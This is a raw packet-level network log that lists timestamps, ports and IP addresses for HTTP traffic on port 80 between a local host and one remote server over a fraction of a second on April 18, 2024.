Apr 18, 2024 23:05:22.533109903 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533129930 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533134937 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533149004 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533169031 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533195019 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533265114 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533277035 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533293962 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533308029 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533324003 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533339024 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533354998 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533361912 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533370972 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533387899 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533404112 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533404112 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533421040 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533426046 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533437967 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533453941 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533469915 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533476114 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533487082 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533492088 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533504009 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533520937 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533526897 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533535957 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533551931 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533567905 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533576965 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533582926 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533602953 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533610106 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533620119 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533634901 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533641100 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533652067 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533658981 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533669949 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533688068 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533703089 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533710957 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533720016 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533736944 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533742905 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533755064 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533761978 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533771992 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533788919 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.533796072 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.533876896 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.534698009 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.567133904 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567153931 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567231894 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.567231894 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.567275047 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567293882 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567312002 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567327976 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567344904 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567353010 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.567362070 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567375898 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.567377090 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.567487001 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.568916082 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569025993 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569076061 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569092989 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569109917 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569127083 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569145918 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569161892 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569180012 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569199085 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.569199085 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.569199085 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.569205999 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569224119 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569243908 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569257021 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.569261074 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569277048 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569286108 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.569286108 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.569293976 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.569451094 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.571418047 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571439028 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571502924 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571521044 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571537971 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571554899 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571564913 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.571564913 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.571571112 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571588039 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571604967 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.571605921 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571621895 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571639061 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571647882 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.571654081 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.571672916 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.571774960 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.574852943 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575541973 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575560093 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575575113 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575591087 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575620890 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575632095 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575656891 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575664997 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575683117 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575700998 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575716972 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575723886 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575733900 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575750113 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575757980 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575767994 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575784922 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575790882 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575800896 CEST	80	49729	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575805902 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575818062 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575834036 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575856924 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575856924 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575882912 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575897932 CEST	80	49730	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575913906 CEST	80	49731	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.575923920 CEST	49729	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575923920 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.575939894 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576009035 CEST	49731	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576009989 CEST	49730	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576034069 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.576200962 CEST	49729	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576421976 CEST	49732	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576457024 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.576489925 CEST	49731	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576544046 CEST	49730	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576555967 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576726913 CEST	49732	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.576735973 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.617044926 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.637047052 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.637167931 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.637603998 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.677613974 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677634001 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677649975 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677665949 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677716017 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.677772999 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677782059 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.677791119 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677808046 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677860022 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677875996 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677884102 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.677896976 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677898884 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.677913904 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677956104 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.677962065 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677979946 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.677995920 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678003073 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678011894 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678029060 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678039074 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678044081 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678061962 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678119898 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678137064 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678144932 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678153038 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678169012 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678189039 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678194046 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678206921 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678212881 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678224087 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678240061 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678256035 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678278923 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678291082 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678307056 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678322077 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678338051 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678344011 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678354025 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678359985 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678369999 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678385019 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678401947 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678406954 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678419113 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678435087 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678441048 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678452015 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678457975 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678469896 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678486109 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678502083 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678508043 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678518057 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678534031 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678543091 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678550959 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678558111 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678656101 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.678805113 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678848028 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.678968906 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679085970 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679102898 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679119110 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679168940 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679168940 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679205894 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679223061 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679238081 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679255009 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679270029 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679285049 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679292917 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679301023 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679317951 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679322958 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679332972 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679347992 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679363966 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679364920 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679380894 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679383039 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679400921 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679415941 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679423094 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679433107 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679447889 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679449081 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679465055 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679471016 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679481983 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679497957 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679519892 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679546118 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679563046 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679569006 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679579020 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679594994 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679601908 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679611921 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679627895 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679637909 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679644108 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679661036 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679667950 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679678917 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679765940 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679788113 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679867983 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679883957 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679892063 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679899931 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679915905 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679929972 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.679930925 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679948092 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679963112 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.679971933 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680001974 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680025101 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680041075 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680056095 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680071115 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680078030 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680088043 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680114985 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680129051 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680131912 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680143118 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680149078 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680165052 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680180073 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680186033 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680196047 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680202961 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680212975 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680228949 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.680234909 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.680299044 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.695369959 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 18, 2024 23:05:22.719747066 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.719769955 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.719784975 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.719849110 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.719934940 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.720494032 CEST	80	49729	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.720716000 CEST	80	49731	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.720733881 CEST	80	49730	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.720748901 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721010923 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721462011 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721478939 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721493959 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721509933 CEST	80	49730	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721524954 CEST	80	49729	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.721810102 CEST	49732	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.721909046 CEST	80	49731	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.722122908 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.774354935 CEST	49731	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.774357080 CEST	49729	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.774391890 CEST	49730	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.774399042 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.781491041 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783317089 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783335924 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783351898 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783368111 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783382893 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783399105 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783418894 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:22.783488035 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:22.783488035 CEST	49735	80	192.168.2.16	208.109.76.254
